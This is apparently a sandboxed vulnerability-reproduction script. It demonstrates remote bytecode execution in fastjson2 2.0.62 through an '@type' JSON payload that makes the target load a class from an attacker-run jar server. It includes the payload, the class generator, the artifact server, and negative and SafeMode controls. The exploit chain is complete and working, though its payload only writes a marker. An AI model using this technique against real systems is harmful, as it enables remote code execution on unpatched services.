#!/bin/bash
set -euo pipefail

ROOT="${PRUVA_ROOT:-$(cd "$(dirname "$0")/.." && pwd)}"
REPRO_DIR="$ROOT/repro"
LOGS="$ROOT/logs/repro"
WORK="$REPRO_DIR/work"
RUN_ID="${PRUVA_RUN_SUFFIX:-$$}"
NET="fj2-repro-$RUN_ID"
ARTIFACT_C="fj2-artifact-$RUN_ID"
TARGET_C="fj2-target-$RUN_ID"
TARGET_IMAGE="pruva/fj2-target:$RUN_ID"
ARTIFACT_IMAGE="pruva/fj2-artifact:$RUN_ID"
CURL_IMAGE="curlimages/curl:8.10.1"
TARGET_BASE="maven:3.9.9-eclipse-temurin-8"
TOKEN="FJ2_REMOTE_BYTECODE_EXECUTED_$RUN_ID"
PAYLOAD='{"pet":{"@type":"jar:http:..artifact:8000.probe!.POC"}}'
mkdir -p "$REPRO_DIR" "$LOGS" "$WORK/target/src" "$WORK/artifact"
cd "$ROOT"

SERVICE_STARTED=false
HEALTHCHECK_PASSED=false
TARGET_REACHED=false
RESULT="infrastructure blocker before runtime proof"
MANIFEST="$REPRO_DIR/runtime_manifest.json"

write_manifest() {
  cat > "$MANIFEST" <<JSON
{
  "entrypoint_kind": "http_request_to_library_function",
  "entrypoint_detail": "POST /parse -> JSON.parseObject(attackerBody, Request.class), with no explicit SupportAutoType feature",
  "service_started": $SERVICE_STARTED,
  "healthcheck_passed": $HEALTHCHECK_PASSED,
  "target_path_reached": $TARGET_REACHED,
  "runtime_stack": [
    "Docker internal network",
    "Eclipse Temurin JDK 8",
    "Spring Boot 2.7.18 LaunchedURLClassLoader",
    "fastjson2 2.0.62"
  ],
  "proof_artifacts": [
    "repro/payload.json",
    "logs/repro/build.log",
    "logs/repro/runtime_info.json",
    "logs/repro/plain_control_response.json",
    "logs/repro/positive_response.json",
    "logs/repro/positive_marker.json",
    "logs/repro/positive_artifact.log",
    "logs/repro/positive_target.log",
    "logs/repro/safemode_response.json",
    "logs/repro/safemode_marker.json",
    "logs/repro/safemode_artifact.log",
    "logs/repro/proof_summary.log"
  ],
  "notes": "$RESULT"
}
JSON
}

cleanup() {
  rc=$?
  trap - EXIT
  write_manifest
  docker rm -f "$TARGET_C" "$ARTIFACT_C" >/dev/null 2>&1 || true
  docker network rm "$NET" >/dev/null 2>&1 || true
  exit "$rc"
}
trap cleanup EXIT

cat > "$REPRO_DIR/payload.json" <<JSON
$PAYLOAD
JSON

cat > "$WORK/target/src/Animal.java" <<'JAVA'
import com.alibaba.fastjson2.annotation.JSONType;

@JSONType(seeAlso = {Dog.class})
public abstract class Animal {
    public String name;
}
JAVA
cat > "$WORK/target/src/Dog.java" <<'JAVA'
public class Dog extends Animal {
    public String breed;
}
JAVA
cat > "$WORK/target/src/Request.java" <<'JAVA'
public class Request {
    public Animal pet;
}
JAVA
cat > "$WORK/target/src/Fj2App.java" <<'JAVA'
import com.alibaba.fastjson2.JSON;
import com.sun.net.httpserver.HttpExchange;
import com.sun.net.httpserver.HttpServer;
import java.io.ByteArrayOutputStream;
import java.io.File;
import java.io.IOException;
import java.io.InputStream;
import java.net.InetSocketAddress;
import java.nio.charset.StandardCharsets;
import java.nio.file.Files;

public final class Fj2App {
    static final File MARKER = new File("/tmp/fj2-remote-bytecode.marker");

    public static void main(String[] args) throws Exception {
        ClassLoader startupLoader = Thread.currentThread().getContextClassLoader();
        HttpServer server = HttpServer.create(new InetSocketAddress("0.0.0.0", 8080), 0);
        server.createContext("/info", ex -> send(ex,
                "{\"artifactVersion\":" + quote(System.getenv("FASTJSON2_ARTIFACT_VERSION"))
                + ",\"jsonVersionConstant\":" + quote(JSON.VERSION)
                + ",\"javaVersion\":" + quote(System.getProperty("java.version"))
                + ",\"startupContextLoader\":" + quote(startupLoader.getClass().getName())
                + ",\"handlerContextLoader\":" + quote(Thread.currentThread().getContextClassLoader().getClass().getName())
                + ",\"safeModeProperty\":" + quote(System.getProperty("fastjson2.parser.safeMode")) + "}"));
        server.createContext("/marker", ex -> {
            String content = MARKER.isFile()
                    ? new String(Files.readAllBytes(MARKER.toPath()), StandardCharsets.UTF_8) : null;
            send(ex, "{\"markerPresent\":" + MARKER.isFile() + ",\"content\":" + quote(content) + "}");
        });
        server.createContext("/parse", ex -> {
            String body = new String(readAll(ex.getRequestBody()), StandardCharsets.UTF_8);
            String mode = ex.getRequestURI().getRawQuery();
            System.out.println("ATTACKER_BODY mode=" + mode + " body=" + body);
            try {
                Object value;
                if ("mode=plain".equals(mode)) {
                    value = JSON.parse(body);
                } else {
                    // No SupportAutoType feature is passed. ObjectReaderSeeAlso, selected by
                    // the ordinary @JSONType polymorphic model, supplies it internally.
                    value = JSON.parseObject(body, Request.class);
                }
                send(ex, "{\"parseReturned\":true,\"resultClass\":" + quote(value.getClass().getName()) + "}");
            } catch (Throwable t) {
                t.printStackTrace(System.out);
                send(ex, "{\"parseReturned\":false,\"error\":" + quote(t.getClass().getName())
                        + ",\"message\":" + quote(String.valueOf(t.getMessage())) + "}");
            }
        });
        server.setExecutor(null);
        server.start();
        System.out.println("TARGET_READY tccl=" + startupLoader.getClass().getName()
                + " safeMode=" + System.getProperty("fastjson2.parser.safeMode"));
    }

    static byte[] readAll(InputStream in) throws IOException {
        ByteArrayOutputStream out = new ByteArrayOutputStream();
        byte[] b = new byte[4096];
        for (int n; (n = in.read(b)) != -1;) out.write(b, 0, n);
        return out.toByteArray();
    }
    static String quote(String s) {
        if (s == null) return "null";
        return "\"" + s.replace("\\", "\\\\").replace("\"", "\\\"")
                .replace("\r", " ").replace("\n", " ") + "\"";
    }
    static void send(HttpExchange ex, String body) throws IOException {
        byte[] bytes = body.getBytes(StandardCharsets.UTF_8);
        ex.getResponseHeaders().set("Content-Type", "application/json");
        ex.sendResponseHeaders(200, bytes.length);
        ex.getResponseBody().write(bytes);
        ex.close();
    }
}
JAVA
cat > "$WORK/target/src/Launcher.java" <<'JAVA'
import org.springframework.boot.loader.LaunchedURLClassLoader;
import java.io.File;
import java.net.URL;

public final class Launcher {
    public static void main(String[] args) throws Exception {
        org.springframework.boot.loader.jar.JarFile.registerUrlProtocolHandler();
        URL[] urls = {
            new URL("jar:" + new File("/app/lib/fastjson2.jar").toURI().toURL() + "!/"),
            new File("/app/classes/").toURI().toURL()
        };
        ClassLoader loader = new LaunchedURLClassLoader(urls, ClassLoader.getSystemClassLoader().getParent());
        Thread.currentThread().setContextClassLoader(loader);
        Class<?> app = Class.forName("Fj2App", true, loader);
        app.getMethod("main", String[].class).invoke(null, (Object) args);
    }
}
JAVA
cat > "$WORK/target/Dockerfile" <<'DOCKER'
ARG BASE_IMAGE=maven:3.9.9-eclipse-temurin-8
FROM ${BASE_IMAGE}
ARG FASTJSON2_VERSION=2.0.62
WORKDIR /app
ADD https://repo.maven.apache.org/maven2/com/alibaba/fastjson2/fastjson2/${FASTJSON2_VERSION}/fastjson2-${FASTJSON2_VERSION}.jar /app/lib/fastjson2.jar
ADD https://repo.maven.apache.org/maven2/org/springframework/boot/spring-boot-loader/2.7.18/spring-boot-loader-2.7.18.jar /app/lib/spring-boot-loader.jar
COPY src/ /app/src/
RUN mkdir -p /app/classes /app/boot \
 && javac -XDignore.symbol.file -cp /app/lib/fastjson2.jar -d /app/classes /app/src/Animal.java /app/src/Dog.java /app/src/Request.java /app/src/Fj2App.java \
 && javac -XDignore.symbol.file -cp /app/lib/spring-boot-loader.jar -d /app/boot /app/src/Launcher.java \
 && chmod -R a+rX /app
ENV FASTJSON2_ARTIFACT_VERSION=${FASTJSON2_VERSION}
USER 65532:65532
CMD ["java","-cp","/app/boot:/app/lib/spring-boot-loader.jar","Launcher"]
DOCKER

cat > "$WORK/artifact/Gen.java" <<'JAVA'
import org.objectweb.asm.ClassWriter;
import org.objectweb.asm.MethodVisitor;
import org.objectweb.asm.Opcodes;

public final class Gen {
    public static void main(String[] args) throws Exception {
        String internalName = args[0];
        String output = args[1];
        String token = args[2];
        ClassWriter cw = new ClassWriter(ClassWriter.COMPUTE_MAXS);
        cw.visit(Opcodes.V1_8, Opcodes.ACC_PUBLIC | Opcodes.ACC_SUPER,
                internalName, null, "Animal", null);
        MethodVisitor init = cw.visitMethod(Opcodes.ACC_PUBLIC, "<init>", "()V", null, null);
        init.visitCode();
        init.visitVarInsn(Opcodes.ALOAD, 0);
        init.visitMethodInsn(Opcodes.INVOKESPECIAL, "Animal", "<init>", "()V", false);
        init.visitInsn(Opcodes.RETURN);
        init.visitMaxs(0, 0);
        init.visitEnd();

        MethodVisitor clinit = cw.visitMethod(Opcodes.ACC_STATIC, "<clinit>", "()V", null, null);
        clinit.visitCode();
        clinit.visitTypeInsn(Opcodes.NEW, "java/io/FileOutputStream");
        clinit.visitInsn(Opcodes.DUP);
        clinit.visitLdcInsn("/tmp/fj2-remote-bytecode.marker");
        clinit.visitMethodInsn(Opcodes.INVOKESPECIAL, "java/io/FileOutputStream", "<init>", "(Ljava/lang/String;)V", false);
        clinit.visitVarInsn(Opcodes.ASTORE, 0);
        clinit.visitVarInsn(Opcodes.ALOAD, 0);
        clinit.visitLdcInsn(token);
        clinit.visitLdcInsn("UTF-8");
        clinit.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/String", "getBytes", "(Ljava/lang/String;)[B", false);
        clinit.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/io/OutputStream", "write", "([B)V", false);
        clinit.visitVarInsn(Opcodes.ALOAD, 0);
        clinit.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/io/OutputStream", "close", "()V", false);
        clinit.visitFieldInsn(Opcodes.GETSTATIC, "java/lang/System", "out", "Ljava/io/PrintStream;");
        clinit.visitLdcInsn("REMOTE_BYTECODE_STATIC_INITIALIZER_RAN");
        clinit.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/io/PrintStream", "println", "(Ljava/lang/String;)V", false);
        clinit.visitInsn(Opcodes.RETURN);
        clinit.visitMaxs(0, 0);
        clinit.visitEnd();
        cw.visitEnd();
        java.nio.file.Files.write(java.nio.file.Paths.get(output), cw.toByteArray());
    }
}
JAVA
cat > "$WORK/artifact/ArtifactServer.java" <<'JAVA'
import com.sun.net.httpserver.HttpServer;
import java.net.InetSocketAddress;
import java.nio.file.Files;
import java.nio.file.Paths;

public final class ArtifactServer {
    public static void main(String[] args) throws Exception {
        final byte[] jar = Files.readAllBytes(Paths.get("/work/probe"));
        HttpServer server = HttpServer.create(new InetSocketAddress("0.0.0.0", 8000), 0);
        server.createContext("/", ex -> {
            System.out.println("ARTIFACT_FETCH " + ex.getRequestMethod() + " " + ex.getRequestURI());
            ex.getResponseHeaders().set("Content-Type", "application/java-archive");
            ex.sendResponseHeaders(200, jar.length);
            ex.getResponseBody().write(jar);
            ex.close();
        });
        server.start();
        System.out.println("ARTIFACT_READY bytes=" + jar.length);
    }
}
JAVA
cat > "$WORK/artifact/entrypoint.sh" <<'SH'
#!/bin/sh
set -eu
java -cp /app/asm.jar:/app Gen 'jar:http://artifact:8000/probe!/POC' /work/POC.class "$PROBE_TOKEN"
(cd /work && jar cf probe POC.class)
exec java -cp /app ArtifactServer
SH
cat > "$WORK/artifact/Dockerfile" <<'DOCKER'
FROM maven:3.9.9-eclipse-temurin-8
WORKDIR /app
ADD https://repo.maven.apache.org/maven2/org/ow2/asm/asm/9.6/asm-9.6.jar /app/asm.jar
COPY Gen.java ArtifactServer.java entrypoint.sh /app/
RUN javac -XDignore.symbol.file -cp /app/asm.jar -d /app /app/Gen.java /app/ArtifactServer.java \
 && chmod 0555 /app/entrypoint.sh && chmod -R a+rX /app
USER 65532:65532
ENTRYPOINT ["/app/entrypoint.sh"]
DOCKER

: > "$LOGS/build.log"
{
  echo "Building marker-only remote artifact image"
  docker build -t "$ARTIFACT_IMAGE" "$WORK/artifact"
  echo "Building released fastjson2 2.0.62 target image"
  docker build --build-arg BASE_IMAGE="$TARGET_BASE" --build-arg FASTJSON2_VERSION=2.0.62 \
    -t "$TARGET_IMAGE" "$WORK/target"
  docker pull "$CURL_IMAGE"
} 2>&1 | tee "$LOGS/build.log"

docker network create --internal "$NET" >/dev/null
docker run -d --name "$ARTIFACT_C" --network "$NET" --network-alias artifact \
  --read-only --tmpfs /work:rw,nosuid,nodev,size=8m --tmpfs /tmp:rw,nosuid,nodev,size=8m \
  --cap-drop ALL --security-opt no-new-privileges --pids-limit 64 \
  -e PROBE_TOKEN="$TOKEN" "$ARTIFACT_IMAGE" >/dev/null

request() {
  method="$1"; path="$2"; body="${3:-}"
  if [ -n "$body" ]; then
    docker run --rm --network "$NET" "$CURL_IMAGE" -fsS --max-time 20 \
      -X "$method" -H 'Content-Type: application/json' --data-binary "$body" "http://target:8080$path"
  else
    docker run --rm --network "$NET" "$CURL_IMAGE" -fsS --max-time 20 "http://target:8080$path"
  fi
}
wait_ready() {
  for _ in $(seq 1 40); do
    if request GET /info > "$LOGS/runtime_info.json" 2>/dev/null; then return 0; fi
    sleep 1
  done
  docker logs "$TARGET_C" >&2 || true
  return 1
}
start_target() {
  safe="$1"
  docker rm -f "$TARGET_C" >/dev/null 2>&1 || true
  docker run -d --name "$TARGET_C" --network "$NET" --network-alias target \
    --read-only --tmpfs /tmp:rw,nosuid,nodev,size=16m \
    --cap-drop ALL --security-opt no-new-privileges --pids-limit 128 \
    -e JAVA_TOOL_OPTIONS="-Dfastjson2.parser.safeMode=$safe -Dfastjson.parser.safeMode=$safe" \
    "$TARGET_IMAGE" >/dev/null
  SERVICE_STARTED=true
  wait_ready
  HEALTHCHECK_PASSED=true
}
marker() { request GET /marker; }
fetch_count() { docker logs "$ARTIFACT_C" 2>&1 | grep -c 'ARTIFACT_FETCH' || true; }

# Control 1: the same attacker JSON through an untyped default parse must remain inert.
start_target false
cat "$LOGS/runtime_info.json"
if ! grep -q 'LaunchedURLClassLoader' "$LOGS/runtime_info.json"; then
  echo "Expected Spring Boot LaunchedURLClassLoader was not active" >&2
  exit 2
fi
before_plain=$(fetch_count)
request POST '/parse?mode=plain' "$PAYLOAD" | tee "$LOGS/plain_control_response.json"
plain_marker=$(marker)
after_plain=$(fetch_count)
printf '%s\n' "$plain_marker" > "$LOGS/plain_control_marker.json"
if [ "$before_plain" != "$after_plain" ] || echo "$plain_marker" | grep -q '"markerPresent":true'; then
  echo "Plain-parser negative control unexpectedly triggered" >&2
  exit 2
fi

# Positive path: ordinary type-bound parsing of a DTO with a polymorphic field. The
# application does not pass SupportAutoType; attacker input alone supplies @type.
request POST '/parse?mode=poly' "$PAYLOAD" | tee "$LOGS/positive_response.json"
TARGET_REACHED=true
positive_marker=$(marker)
printf '%s\n' "$positive_marker" | tee "$LOGS/positive_marker.json"
docker logs "$ARTIFACT_C" > "$LOGS/positive_artifact.log" 2>&1
docker logs "$TARGET_C" > "$LOGS/positive_target.log" 2>&1
positive_fetches=$(fetch_count)
if ! echo "$positive_marker" | grep -Fq "$TOKEN"; then
  RESULT="target path reached, but remote bytecode marker was absent"
  exit 1
fi
if [ "$positive_fetches" -le "$after_plain" ]; then
  RESULT="marker appeared without an observed artifact fetch"
  exit 1
fi
if ! grep -q 'REMOTE_BYTECODE_STATIC_INITIALIZER_RAN' "$LOGS/positive_target.log"; then
  RESULT="marker appeared without static-initializer log evidence"
  exit 1
fi

# Control 2: SafeMode is applied to the actual fresh JVM at startup. The same request
# must neither fetch the remote jar nor create the target-local marker.
fetches_before_safe=$(fetch_count)
start_target true
request POST '/parse?mode=poly' "$PAYLOAD" | tee "$LOGS/safemode_response.json"
TARGET_REACHED=true
safe_marker=$(marker)
printf '%s\n' "$safe_marker" | tee "$LOGS/safemode_marker.json"
docker logs "$ARTIFACT_C" > "$LOGS/safemode_artifact.log" 2>&1
docker logs "$TARGET_C" > "$LOGS/safemode_target.log" 2>&1
fetches_after_safe=$(fetch_count)
if echo "$safe_marker" | grep -q '"markerPresent":true'; then
  RESULT="SafeMode control unexpectedly executed remote bytecode"
  exit 1
fi
if [ "$fetches_after_safe" != "$fetches_before_safe" ]; then
  RESULT="SafeMode control unexpectedly fetched the remote artifact"
  exit 1
fi
if ! grep -q '"safeModeProperty":"true"' "$LOGS/runtime_info.json"; then
  RESULT="SafeMode was not active in the control JVM"
  exit 2
fi

RESULT="confirmed remote attacker-controlled bytecode execution in fastjson2 2.0.62 on the default polymorphic parse path; startup SafeMode blocks it"
{
  echo "RESULT=CONFIRMED"
  echo "FASTJSON2_ARTIFACT=2.0.62"
  echo "JVM=8"
  echo "CLASSLOADER=org.springframework.boot.loader.LaunchedURLClassLoader"
  echo "EXPLICIT_SUPPORT_AUTOTYPE=false"
  echo "PAYLOAD=$PAYLOAD"
  echo "REMOTE_FETCH_COUNT_AFTER_POSITIVE=$positive_fetches"
  echo "TARGET_LOCAL_MARKER=$TOKEN"
  echo "PLAIN_CONTROL_MARKER=false"
  echo "SAFEMODE_ACTIVE=true"
  echo "SAFEMODE_FETCH_DELTA=$((fetches_after_safe - fetches_before_safe))"
  echo "SAFEMODE_MARKER=false"
} | tee "$LOGS/proof_summary.log"
exit 0
